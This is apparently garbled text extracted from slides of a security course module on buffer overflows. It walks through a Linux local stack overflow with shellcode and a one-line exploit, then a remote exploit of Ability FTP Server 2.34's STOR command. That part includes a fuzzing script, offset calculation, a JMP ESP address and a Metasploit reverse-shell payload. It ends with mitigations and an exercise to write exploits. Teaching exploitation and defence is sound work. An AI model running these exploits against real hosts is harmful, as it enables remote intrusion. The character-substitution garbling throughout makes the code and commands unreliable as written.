Buffer Overflows

Module Outline:
This module will cover the following topics Stack Overflows Linux - Stack Overflow (Local Exploit) Windows - !ilit" Server #$%& Stack Overflow ('emote Exploit) Other t"pes of overflows

Module Objective:
(e a!le to show an understanding of how (uffer Overflows are detected and caused$ (e a!le to perform stack overflows in !oth Windows and Linux environments$ (e a!le to identif" other t"pes of potential !uffer overflows in code$ )nowledge and understanding of mitigation techni*ues for !uffer overflows$

What is a buffer overflow?

!uffer overflow is an anomal" in a program where input from either user input or input from a program is written to a !uffer and when written to that !uffer the data overflows the memor" !oundar" for the !uffer$ This data overflows into memor" locations ad+acent to the !uffer location$ http,--en$wikipedia$org-wiki-(uffer.overflow

Finding a Buffer Overflow Vulnerability

There is three primar" techni*ues for identif"ing !uffer overflows which are, /$ Source 0ode 'eviewing 1 2ust as the name suggests3 this is reading the source code for the given application to find improper use of functions which could lead to !uffer overflows$ #$ 'everse Engineering 1 This is the process of using disassem!lers and de!uggers to view the application execution process to conditions which lead to !uffer overflows$ %$ 4u55ing 1 This is the !rute-forcing techni*ue of the three3 it is the process of attempting to cause a !uffer overflow in user supplied input to the application$

Stack Overflows Section ntroduction

6n this section we will !e demonstrating how to find a specific t"pe of !uffer overflow vulnera!ilit" in !oth Windows and Linux environments called a stack !uffer overflow$ The outline of this section will !e, 6dentif" the !uffer overflow vulnera!ilit" Exploit the !uffer overflow vulnera!ilit" 7itigation techni*ues for such vulnera!ilities

!inu" # Stack Overflow $!ocal %"&loit'

Introduction
We have the following source code written in the 0 programming language$ This code has !een specificall" written to !e exploited !" those who are new the world of 6T securit" and !uffer overflows$ This is a local !uffer overflow3 this means it is a !uffer overflow that can onl" !e exploited locall" to the machine the !inar" is running on$ Source Code 8include 9stdio$h: 8include 9string$h: 8include 9stdli!$h: int main(int argc3 char ; argv<=)> char !uf</#?=@ if(argc AA /)> printf(BCsage, Ds argumentEnB3 argv<F=)@ exit(/)@ G strcp"(!uf3argv</=)@ printf(BDsB3 !uf)@ return F@ G

Locating the Vulnerability

So in this scenario we have the source code3 having a look at the source code we can identif" *uickl" that there is a !uffer called H!ufH which has !een defined as /#? !"tes in si5e$ So we have found our !uffer3 now lets see if we can find an" functions performing actions that could lead to state which can cause an overflow$ We come across the line in the code which is Hstrcp"(!uf3 argv</=)@H3 what this code does is take user input from Hargv</=H and uses the strcp"() function to put the input into the H!ufH$ So next we should actuall" have a look at what the function does3 the simplest wa" is to Ioogle the function$ http,--www$cplusplus$com-reference-cstring-strcp"This function copies from source to the destination3 this is a 0 string and therefore needs a null character to determine the end of the string$ This function keeps cop"ing from source until the null character hits the null character$ What this means is even though the !uffer si5e is /#? !"tes !ecause of the strcp"() we can put as much input into the Hargv</=H which will in turn end up in the !uffer and exceeds the memor" !oundar"$

6n the next slide 6 compile the source code into an elf%# !inar" read" for the exploitation phase$

Exploitation
So we want to enter more then /#? !"tes of input3 we can manuall" the string of this si5e3 or we can use a programming language to do this for us easier$ 6 like J"thon$

So now weHve caused a segmentation fault error when we sent /&F !"tes to the !inar"$ http,--en$wikipedia$org-wiki-Segmentation.fault 0ool3 now whatK We need to see what is actuall" going on inside the !inar"3 this were disassem!lers and de!uggers3 the most famous of de!uggers for Linux is the tool called IL($ We open the !inar" in the de!ugger and perform the !uffer overflow again$

So we see in IL( that /&F !"tes cause the application to crash !ut /&& !"tes overwrite the E6J register$ This raises the *uestion what is the E6J registerK This is the 0JC register that controls what command will !e executed next$ re there other registersK Mes there is3 the" are the following with a !rief description, ESJ - Extended Stack Jointer 1 Joints to the top of the stack E(J - Extended (ase Jointer 1 Joints to the !ottom of the stack E N3 E(N3 E0N3 ELN - Ieneral Jurpose 'egisters 1 Csed for storing values ES63 EL6 - 6ndex registers 6t is common practise in this t"pe of !uffer overflow for an attacker to overwrite the E6J register with a t"pe of opcode called a 'ET address$ This 'ET opcode is generall" a 27J instruction3 which tells the program to +ump to a location in memor" where a specific register is currentl" pointing$ nother techni*ue is hardcoding the memor" address location "ou want to +ump to in "our exploit code$ 6n this scenario we will use the hardcore a specific memor" address instead of the 'ET address techni*ue$ So now we continue fu55ing the !inar" !" making sure we first can actuall" overwrite the E6J register and then hi+ack the control of execution from the !inar" and have it +ump to a memor" location we want$ Ootice in the next slide we now overwrite the E6J register with four PEx&#Q3 this is !ecause 6 changed the string from /&& PEx&/Q to /&F PEx&/Q and & PEx&#Q$ 6n the next slide after that 6 use the following command Px-%FFwx RespQ after the E6J overwrite to view %FF !"tes from the stack and then found m" !uffer 6Hve sent the !inar"$ The wa" "ou read memor" in IL( is from each column "ou read left to right !ut the contents of each column is read right to left$

WeHve identified the following, /&& !"tes is needed to overwrite the E6J register$ We have /&F !"tes availa!le space for a pa"load$ 4rom roughl" Fxffffd?SF to FxffffdTFF is where our !uffer is on the stack$ There is a pro!lem3 /&F !"tes for a pa"load is actuall" not a lot of room to work with$ Through the course of m" studies and research 6 have learnt of this document called PSmashing the Stack for 4un and JrofitQ$ 6t has !ecome one of the !est sources of information and understanding a!out how stack !uffer overflows occur$ 4rom this document 6 found a pa"load which was %? !"tes in si5e !ut in the past 6 have had !ad experience with3 so eventuall" 6 came across a #U !"te pa"load which 6Hve had great success with$ 6n this section we start planning our final !uffer string that we will send to the !inar" in an attempt to have our own code executed instead of the normal code in the !inar"$ Payload Code What this pa"load does is simpl" performs a -!in-sh which gives the attacker a !ash shell$

Ex%/ExcFExUFExV?Ex#fEx#fExS%ExV?ExV?Ex#fExV#ExVTExVeEx?TExe%ExUFExU%Ex?TExe/Ex?TExc#Ex!FExF!ExcdEx?F

Final Buffer
We need to hit the pa"load from the ver" !eginning3 !ecause of this what is generall" done is attackers use OOJ (Oo Operation) instructions which when a program looks at this code it +ust moves onto the next instruction$ What attackers do is fill their !uffer with what is called a OOJ sled which is +ust a series of OOJ instructions in a row and place their pa"load at the end of the sled3 then the" simpl" have the 'ET address point to somewhere within the OOJ sled so the" can safel" hit their pa"load and have the program start executing it$ So since out pa"load is #U !"tes in si5e and we have to fill /&F !"tes of space we can use //U OOJ instructions to form a OOJ sled and overflow the memor" !oundar" for the !uffer and then have our 'ET address which is the & !"tes after the /&F !"tes of the !uffer string +ump !ack into our OOJ sled$ Exploit R(p"thon -cHprint BExTFB;//U W BEx%/ExcFExUFExV?Ex#fEx#fExS%ExV?ExV?Ex#fExV#ExVTExVeEx?TExe%ExUFExU%Ex?TExe/Ex?TExc#Ex! FExF!ExcdEx?FB W BExcFExd?ExffExffBH)

Mitigation of Vulnerability
6n this final part of scenario 8/ we will look at some possi!le mitigation techni*ues to prevent attackers !eing a!le to get code execution on this host3 such as, ddress Space La"out 'andomisation ( SL') 1 What this means is the stack3 heap and li!raries called !" the program are randoml" arranged$ http,--en$wikipedia$org-wiki- ddress.space.la"out.randomi5ation Lata Execution Jrevention (LEJ) 1 What this mechanism does is it marks an area in memor" as non-executa!le$ http,--en$wikipedia$org-wiki-Lata.Execution.Jrevention 4ree(SL 2ails 1 This a virtualistation-sand!oxing concept where a 4ree(SL !ased OS can !e split into mini-su!s"stems referred to as +ails$ http,--en$wikipedia$org-wiki-4ree(SL.+ail Secure 0oding 1 SL' and LEJ are all well and good3 !ut the" are more of a safet" net for !ad programmers$ The !est solution is +ust to have well written code that doesnHt used flawed and outdated functions$ When performing the source code review for !ugs we saw that the strcp"() was the issue$ When researching the function we found that there were other functions that couldHve !een used3 such as, Strncp" 1 cop" characters from a string$ 7emcp" 1 cop" !lock of memor"$ 7emmove 1 move a !lock of memor"$ 0hanging the function from strcp"() to strncp"() and specif"ing the to cop" /#? !"tes from user input we ensure that the attacker while not !e a!le to cause the !uffer overflow using the previous method$ http,--www$cplusplus$com-reference-cstring-strncp"-

Windows # (bility Server )*+, Stack Overflow $-e.ote %"&loit'

Introduction
This is the second scenario we will look at3 this is a Windows !inar" which is for a 4TJ server3 straight awa" "ou should !e instantl" thinking a remote exploit !ecause we are talking a!out server to client communication$ nother thing is this is a closed source !inar" which means we donHt have source code to review to find the !ug3 that or 6 +ust canHt find itX This leaves us with two methods either reverse engineering or fu55ing the !inar" to find a vulnera!ilit" to exploit$

Fuzzing Phase
6n this scenario we will go with the fu55ing techni*ue3 so when fu55ing "ou donHt want to !e fu55ing against the real server3 "ou want to download the tool and work on it on a machine "ou have full control$ We could do this manuall" where we send increasing input for each 4TJ command we want to fu553 or we can do this in an automated wa"$ Of course we do this in an automated wa"3 which means we will need a fu55ing script$ Preamble Lemonstration is on a Windows NJ Service Jack % Jrogram is !ilit" 4TJ Server version #$%& Le!ugger !eing used is 6mmunit" Le!ugger The username and password has alread" !een worked out to !e ftp,ftp

Fuzzing Script 8X-usr-!in-p"thon import socket 8 0reate an arra" of !uffers3 from F to #FFF3 with increments of /FF$ !ufferA<B B= counterAF while len(!uffer) 9A %F, !uffer$append(B B;counter) counterAcounterW/FF 8 Lefine the 4TJ commands to !e fu55ed commandsA<BL6STQ3 P0WLQ3 P7)LQ3 PSTO'B= 8 'un the fu55ing loop for command in commands, for string in !uffer, print B4u55ing B W command W B with length,B Wstr(len(string)) sAsocket$socket(socket$ 4.6OET3 socket$SO0).ST'E 7) connectAs$connect((H/T#$/V?$%$#/UH3#/)) 8 6J address of the victim is hardcoded s$recv(/F#&) s$send(HCSE' anon"mousErEnH) s$recv(/F#&) s$send(HJ SS anon"mousErEnH) s$recv(/F#&) s$send(command W H H W string W HErEnH) s$recv(/F#&) s$send(HYC6TErEnH) s$close()

6n the previous slides we found that /FFF !"tes would crash the application if sent with the HSTO'H command$ The other commands can handle input of up to #FFF !"tes while the STO' command couldnHt handle /FFF !"tes$ The next phase is to cause the crash again in a more controlled wa"3 this means !uild another script which will purposel" crash the application3 this new script will !e used as the skeleton framework to !uild the exploit code on$ We will also use the de!ugger connected to the 4TJ server to see what actuall" happens at to the application at the time of the crash$ 6n the previous slides we found that /FFF !"tes would crash the application if sent with the HSTO'H command$ The other commands can handle input of up to #FFF !"tes while the STO' command couldnHt handle /FFF !"tes$ The next phase is to cause the crash again in a more controlled wa"3 this means !uild another script which will purposel" crash the application3 this new script will !e used as the skeleton framework to !uild the exploit code on$ We will also use the de!ugger connected to the 4TJ server to see what actuall" happens at to the application at the time of the crash$

Exploitation Phase
t the end of the fu55ing phase we found out that the !uffer was overwriting the E6J register and we can see a lot of Hs in the ESJ register$ So what do we need to get code execution of our own on this remote machineK We need the following, The position in our !uffer of #FFF !"tes3 the position that overwrites the E6J register$ The position in our !uffer of #FFF !"tes3 the position that the ESJ register is pointing to at the time of the crash$ We need a pa"load that will get us a shell remotel"$ We !egin finding the location in our !uffer that the register is pointing at the time of the crash, (inar" Tree nal"sis 1 This is the process of anal"sing the !uffer where half the !uffer is one character and the other half is another character$ Lepending if the characters in the register is in the !ottom or top half determines which one "ou change$ Example, /$ (((((((((( #$ 00000(((((((((( %$ LLL00000(((((((((( Cni*ue String 1 This is the faster and more efficient wa" of working out the positions in the !uffer3 it involves sending a uni*ue string where no se*uence of characters are repeated ever$

Luckil" for us )ali Linux has a set of tools that will allow us to generate the uni*ue string instead of us having to create it ourselves and a tool that will allow us to calculate the positioning of an" se*uence in the !uffer$ To generate the uni*ue string we use the tool pattern.create$r! which is a tool written in the 'u!" programming language and the length of string we want to create$ 0ommand, -usr-share-metasploit-framework-tools-pattern.create$r! #FFF Once weHve generated the uni*ue string with pattern.create$r! we replace our original !uffer which was #FFF Hs in our skeleton code$

What did we findK We found the E6J to contain FxVS&#%#VS and the ESJ is !eginning at (gT(3 lets run these through pattern.offset$r! to find out where in our !uffer these locations are, E6J A TVS !"tes into the !uffer ESJ A T?S !"tes into the !uffer Example, -usr-share-metasploit-framework-tools-pattern.offset$r! (gT( So what do we need to do nowK Well we need to make another !uffer which will overwrite the E6J register with & !"tes of ours and have the ESJ register perfectl" pointing to the rest of our !uffer$

So now that we have worked out our positions of the overwrite E6J point and worked out if we put our pa"load at the position ESJ is pointing at the time of the crash we have remote code execution from this vulnera!ilit"$ This means the last two things we need to do is work out how to get E6J to the ESJ and the pa"load we want to execute$ WeHll !egin with the 'ET address3 in the previous scenario we used a hardcoded memor" address to get to our pa"load3 this is generall" not a good idea as it is specific onl" to that ver" machine$ 6n this scenario we will use a more generic method of redirecting execution flow$ The method will use is a 27J instruction more specificall" for this scenario a 27J ESJ instruction3 what this does is when executing it tells the program to +ump to where ever the ESJ register is currentl" at$ This new method means that this exploit will work on all Windows NJ Service Jack % EO machines3 so now we have to go find a 27J ESJ instruction$ Since we have a cop" of the target Operating S"stem running with a de!ugger installed3 we can use the de!ugger to search all the currentl" loaded executa!les for a 27J ESJ instruction3 we then hardcode the memor" of the 27J ESJ instruction in our !uffer$ To search all executa!les in 6mmunit" +ust right click on the assem!l" window and then select to search all commands in all modules$

6t is generall" considered !etter to pick a memor" address from s"stem executa!les as the" are loaded first into memor" and therefore will more likel" to sta" the same across re!oots and other Windows NJ Service Jack % EO hosts$ 6 chose m" 27J ESJ instruction to !e FxSE&#T%U% which is from the CSE'%#$dll$ We now need to generate our pa"load3 this time we have found out that we /FFT !"tes to work with3 this is a lot of si5e in generalX So as this is a service running on a remote server3 we could make a pa"load to open a port and !ind a command shell to the port or we can set up a listening port on our own machine and have the remote machine send us a command shell to a specified port$ )ali Linux has another tool called msfpa"load which can !e used to generate pa"loads3 !ut we will pipe the output into another tool called msfencode which will encode the pa"load into usa!le shellcode$ So the plan is to use msfpa"load to generate a pa"load which will send us a reverse T0J !ind shell to port &&&& of our local host$

With the shellcode and 'ET address now gathered we +ust update the final !uffer with this information3 we can put our shellcode code inline like we did in the previous section or we can put it into a varia!le and reference the varia!le in the !uffer$ 6 prefer the later option !ecause of how the exploit code appears to !e neater$

Mitigation of Vulnerability
Oow how could we mitigate this vulnera!ilit"K Well since we donHt have access to the source code for the vulnera!le !inar" ourselves we canHt patch the pro!lem$ Jrett" sure the result of this disclosure the designers of the program released a patch for the vulnera!ilit" !ut then also discontinued the application and released a new application with vulnera!ilit" fixed$

Other types of Overflo

Cnlike the previous sections this one we will +ust mention the other t"pes overflows that exist so "ou are aware of them, /$ SEZ overflows 1 Structured Exception Zandler 1 Some program designers use SEZs to control code execution out normal flow of control$ These overflows attempt to overwrite the SEZ on the stack to gain control of the program$ #$ Zeap Overflows 1 These t"pes of !uffer overflows occur when overwriting heap memor" space oppose to stack memor" space$ %$ 4ormat String Overflows 1 This is a t"pe of vulnera!ilit" that comes from improper use of the printf() in 0$ This function re*uires a designated format string !ut if the designer doesnHt specif" one this leaves it open to attacker to !e a!le to specif" one of their own which could lead to a format string overflow vulnera!ilit" occurring$ http,--en$wikipedia$org-wiki-(uffer.overflow http,--www$thegre"corner$com-#F/F-F/-seh-stack-!ased-windows-!uffer-overflow$html http,--en$wikipedia$org-wiki-Cncontrolled.format.string Topic
Oll"L!g (Same as 6mmunit" Le!ugger except not p"thon) 6L Jro 6mmunit" 0anvas Splint (OOO 4law4inder (L ST Stack Shield [algrind Jol"Space 0 [erifier 6nsureWW Enhanced 7igitation Experience Toolkit (ufferShield LefenseWall T6EL Li!safeJlus 0omodo 7emor" 4irewall 0lang Static nal"5er 4ire4u55er 0odeSonar Static nal"sis tool 0ore 6mpact Jro

Buffer Overflows

/ractical
The practical for this module is +ust two tasks$ 0hoose one of the following applications and write "our own exploit code for it which will exploit the vulnera!ilit" on a Windows NJ SJ% EO machine$ nd finall" give % recommendations for a solution to this vulnera!ilit" ranked from solution to recommend highl" to least$ Applications: J07 O 4TJL #$FS Sami 4TJL #$F$/ e!e!"er t#e researc# steps: /$ Select application to attack #$ 'esearch for a vulnera!ilit" %$ 4u55 vulnera!ilit" &$ Exploit vulnera!ilit" $OTE: though 6 have no written an exploit code for either of these vulnera!ilities 6 have had a look at man" otherHs code for them3 therefore 6 will know if "ou have +ust copied someone elseHs code$